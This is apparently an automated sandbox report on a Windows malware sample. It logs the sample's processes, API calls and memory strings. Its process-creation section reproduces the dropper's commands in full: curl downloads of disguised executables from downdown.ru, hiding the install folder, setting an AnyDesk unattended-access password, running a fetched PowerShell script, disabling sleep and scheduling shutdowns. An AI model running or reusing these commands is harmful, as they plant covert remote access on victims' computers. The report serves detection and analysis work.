Source: curl.exe, 00000027.00000003.20416016764.000000000093A000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000027.00000003.20416177850.000000000094F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000027.00000003.20416070570.0000000000945000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll>
Source: curl.exe, 00000022.00000002.20310481166.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000022.00000003.20308901095.0000000000D68000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll`
Source: curl.exe, 00000026.00000003.20393569986.000000000158F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll88t+
Source: curl.exe, 00000023.00000003.20325704254.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000025.00000003.20385172020.000000000095F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20489003966.0000000001E21000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: curl.exe, 00000024.00000003.20359669497.0000000000F0F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll88

Source: C:\Intel\curl.exe	API call chain: ExitProcess graph end node	graph_34-118399
Source: C:\Intel\svchost.exe	API call chain: ExitProcess graph end node	graph_42-5384
Source: C:\Intel\svchost.exe	API call chain: ExitProcess graph end node	graph_42-5400
Source: C:\Intel\svchost.exe	API call chain: ExitProcess graph end node
Source: C:\Intel\svchost.exe	API call chain: ExitProcess graph end node
Source: C:\Intel\svchost.exe	API call chain: ExitProcess graph end node
Source: C:\Intel\svchost.exe	API call chain: ExitProcess graph end node

Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Intel\curl.exe

Code function: 34_2_002D0FB6 EncodePointer,EncodePointer,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

34_2_002D0FB6

Source: C:\Intel\curl.exe

34_2_002D0FB6

Source: C:\Intel\curl.exe

Code function: 34_2_001E1CE0 VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoA,VerifyVersionInfoA,VerifyVersionInfoA,LoadLibraryA,GetProcAddress,

34_2_001E1CE0

Source: C:\Intel\curl.exe

Code function: 34_2_002D8705 GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,SetEndOfFile,GetLastError,

34_2_002D8705

Source: C:\Intel\dc.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Intel\curl.exe	Code function: 34_2_002CBAB0 SetUnhandledExceptionFilter,		34_2_002CBAB0
Source: C:\Intel\curl.exe	Code function: 34_2_002CBAE1 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		34_2_002CBAE1

Source: C:\Intel\svchost.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Intel\svchost.exe

Network Connect: 57.129.37.157 80

Yara detected Powershell download and execute

Source: Yara match

File source: C:\Intel\AnyDesk\bat.bat, type: DROPPED

Allocates memory in foreign processes

Source: C:\Intel\dc.exe

Memory allocated: C:\Windows\explorer.exe base: 690000 protect: page read and write

Installs a global get message hook

Source: C:\Intel\Trays\Trays.exe	Windows user hook set: 0 get message C:\Intel\Trays\ShellEh6055.dll
Source: C:\Intel\Trays\4t-min64.exe	Windows user hook set: 0 get message C:\Intel\Trays\ShellEh6055x64.dll

Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Intel\ 131.pdf"	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>C:\Intel\rezet.cmd cd C:\Intel\	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\attrib.exe "C:\Windows\System32\attrib.exe" +s +h C:\Intel	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd ping -n 6 127.0.0.1	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>C:\Intel\rezet.cmd cd C:\Intel\	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\attrib.exe "C:\Windows\System32\attrib.exe" +s +h C:\Intel	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd ping -n 6 127.0.0.1	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\AnyDesk\bat.lnk	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 6 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\driver.exe C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\Trays\Trays.exe "C:\Intel\Trays\Trays.exe" -tray	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\svchost.exe svchost.exe --install C:\Intel\AnyDesk	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Intel\AnyDesk\bat.bat" "	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Process created: C:\Intel\Trays\4t-min64.exe "C:\Intel\Trays\4t-min64.exe" "C:\Intel\Trays\ShellEh6055x64.dll"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo QWERTY1234566 "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\AnyDesk\AnyDesk.exe AnyDesk.exe --set-password _unattended_access
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\dc.exe C:\Intel\dc.exe /D
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -setacvalueindex SCHEME_CURRENT 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -change -standby-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -change -hibernate-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -h off
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /SETDCVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /SETACVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "ShutdownAt5AM" /tr "shutdown /s /f /t 0" /sc daily /st 05:00
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -executionpolicy remotesigned -File C:\Intel\AnyDesk\wol.ps1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: C:\Intel\dc.exe "C:\Intel\dc.exe" /SYS 1

Source: C:\Intel\Trays\Trays.exe

Code function: 41_2_00407B2E SetSecurityDescriptorDacl,

41_2_00407B2E

Source: Trays.exe, 00000029.00000002.21464015268.000000000262A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: Trays.exe, Trays.exe, 00000029.00000002.21467718877.0000000004AA1000.00000020.00000001.01000000.0000000A.sdmp, Trays.exe, 00000029.00000002.21464015268.000000000262A000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 00000029.00000000.20435397641.0000000000401000.00000020.00000001.01000000.00000008.sdmp	Binary or memory string: Shell_TrayWnd
Source: Trays.exe, Trays.exe, 00000029.00000002.21467718877.0000000004AA1000.00000020.00000001.01000000.0000000A.sdmp, Trays.exe, 00000029.00000000.20435397641.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Trays.exe, 00000029.00000002.21464015268.000000000261C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Progman
Source: Trays.exe, 00000029.00000002.21464015268.000000000261C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Progmanidge
Source: 4t-min64.exe, 0000002B.00000002.21462603508.0000000010019000.00000004.00000001.01000000.0000000D.sdmp, 4t-min64.exe, 0000002B.00000002.21460962383.0000000000442000.00000008.00000001.01000000.0000000B.sdmp, 4t-min64.exe, 0000002B.00000000.20439375631.0000000000438000.00000008.00000001.01000000.0000000B.sdmp	Binary or memory string: Shell_TrayWndf
Source: Trays.exe, 00000029.00000000.20435397641.0000000000401000.00000020.00000001.01000000.00000008.sdmp	Binary or memory string: Shell_TrayWndTrayNotifyWndU
Source: Trays.exe, 00000029.00000002.21467718877.0000000004AA1000.00000020.00000001.01000000.0000000A.sdmp, svchost.exe, 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, svchost.exe, 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp	Binary or memory string: Shell_TrayWndSysPagerU
Source: Trays.exe, 00000029.00000002.21464015268.000000000262A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Program Manager`
Source: 4t-min64.exe, 0000002B.00000002.21462702873.000000001001A000.00000008.00000001.01000000.0000000D.sdmp	Binary or memory string: CabinetWClassShell_TrayWndSysPager
Source: Trays.exe, 00000029.00000000.20435397641.0000000000401000.00000020.00000001.01000000.00000008.sdmp	Binary or memory string: Shell_TrayWndU
Source: Trays.exe, 00000029.00000002.21464015268.000000000262A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWndI1

Source: C:\Intel\curl.exe	Code function: IsValidCodePage,GetLocaleInfoW,	34_2_002D65B9
Source: C:\Intel\curl.exe	Code function: EnumSystemLocalesW,	34_2_002D682D
Source: C:\Intel\curl.exe	Code function: EnumSystemLocalesW,	34_2_002D686D
Source: C:\Intel\curl.exe	Code function: EnumSystemLocalesW,	34_2_002D68EA
Source: C:\Intel\curl.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	34_2_002D696D
Source: C:\Intel\curl.exe	Code function: GetLocaleInfoW,	34_2_002D6B62
Source: C:\Intel\curl.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	34_2_002D6C8C
Source: C:\Intel\curl.exe	Code function: GetLocaleInfoW,	34_2_002D6D39
Source: C:\Intel\curl.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	34_2_002D6DA3
Source: C:\Intel\curl.exe	Code function: EnumSystemLocalesW,	34_2_002D7148
Source: C:\Intel\curl.exe	Code function: GetLocaleInfoW,	34_2_002D7185
Source: C:\Intel\Trays\Trays.exe	Code function: GetLocaleInfoA,	41_2_00407CF6
Source: C:\Intel\Trays\Trays.exe	Code function: GetLocaleInfoA,	41_2_00407CFE
Source: C:\Intel\Trays\Trays.exe	Code function: GetLocaleInfoW,	41_2_00407D06
Source: C:\Intel\Trays\Trays.exe	Code function: EnumSystemLocalesA,	41_2_00407BDE
Source: C:\Intel\svchost.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	42_2_03E345D8
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,	42_2_03E36AE0
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,	42_2_03E36A94
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,	42_2_03E349F4
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,GetACP,	42_2_03E37C38
Source: C:\Intel\Trays\4t-min64.exe	Code function: GetLocaleInfoA,	43_2_00416640
Source: C:\Intel\svchost.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	44_2_03E345D8
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,	44_2_03E36AE0
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,	44_2_03E36A94
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,	44_2_03E349F4
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,GetACP,	44_2_03E37C38
Source: C:\Intel\svchost.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	45_2_03E345D8
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,	45_2_03E36AE0
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,	45_2_03E36A94
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,	45_2_03E349F4
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,GetACP,	45_2_03E37C38

Source: C:\Intel\AnyDesk\AnyDesk.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Intel\AnyDesk\AnyDesk.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Intel\Trays\Trays.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Intel\Trays\Trays.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Intel\Trays\Trays.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Intel\Trays\Trays.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Intel\AnyDesk\AnyDesk.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Intel\AnyDesk\AnyDesk.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.746.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
